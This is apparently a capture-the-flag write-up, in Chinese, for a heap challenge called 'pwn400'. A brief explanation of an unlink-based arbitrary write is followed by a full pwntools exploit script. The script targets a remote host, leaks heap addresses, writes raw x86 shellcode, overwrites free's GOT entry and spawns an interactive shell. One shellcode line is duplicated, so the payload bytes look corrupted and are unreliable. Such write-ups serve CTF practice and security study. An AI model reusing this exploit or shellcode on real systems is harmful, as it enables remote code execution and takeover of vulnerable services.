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很容易找到漏洞在delete函数，delete函数的外部输入直接是个指针

利用双链构造DWORD SHOOT，该题无可执行保护，因此让free指向shellcode即可。

else if ( ptr->next )
      {
        q = ptr->next;
        p = ptr->pre;
        p->next = q;
        q->pre = p;
      }
..
free(ptr)
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from pwn import *
context.log_level = 'debug'
#sock = process('./pwn400')
sock = remote('218.2.197.235',10103)
#print proc.pidof(sock)[0]

sock.recvn(0x56)

def add(title):
    sock.sendline('1')
    sock.recvn(11)
    sock.sendline(title)
    sock.recvn(10)
    sock.sendline('t'*10)
    sock.recvn(13)
    sock.sendline('x'*255)

def edit(title,content):
    sock.sendline('4')
    sock.recvn(0xb)
    sock.sendline(title)
    sock.recvn(0xe)
    sock.send(content)
    sock.recvn(0x5e)

def delete(ptr):
    sock.sendline('5')
    sock.recvn(14)
    sock.sendline('%08x'%ptr)

def show(title):
    sock.sendline('3')
    sock.recvn(11)
    sock.sendline(title)
    sock.recvuntil('location:')
    ptr = int(sock.recvuntil('\n'), 16)
    return ptr

add('1')
add('2')
add('3')
add('4')

ptr1 = show('1')
ptr2 = show('2')
ptr3 = show('3')

print 'ptr2 = %x'%ptr2

free_got = 0x0804A450
payload_addr = ptr2 + 12 + 96
shellcode_addr = ptr3 + 12 + 96
print 'shellcode = %x'%shellcode_addr

shellcode =  '\xeb\x08\x90\x90' #jmp 8
shellcode += '\xFF\xFF\xFF\xFF' #will be overwriten
shellcode += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\xd9\xeb\xd9\x74\x24\xf4\x58\xbe\x51\xcf\x5b\x7d\x33"
shellcode += "\xc9\xb1\x0b\x31\x70\x1a\x03\x70\x1a\x83\xe8\xfc\xe2"
shellcode += "\xa4\xa5\x50\x25\xdf\x68\x01\xbd\xf2\xef\x44\xda\x64"



shellcode += "\xa4\xa5\x50\x25\xdf\x68\x01\xbd\xf2\xef\x44\xda\x64"
shellcode += "\xdf\x25\x4d\x74\x77\xe5\xef\x1d\xe9\x70\x0c\x8f\x1d"
shellcode += "\x8a\xd3\x2f\xde\xa4\xb1\x46\xb0\x95\x46\xf0\x4c\xbd"
shellcode += "\xfb\x89\xac\x8c\x7c"
#put shellcode at shellcode_addr
edit('3', shellcode)

#*(pre + 8) = next, *(next + 4) = pre
pre = free_got - 8
next = shellcode_addr
payload = p32(payload_addr) + p32(pre) + p32(next)
edit('2', payload)

delete(payload_addr)

sock.interactive()
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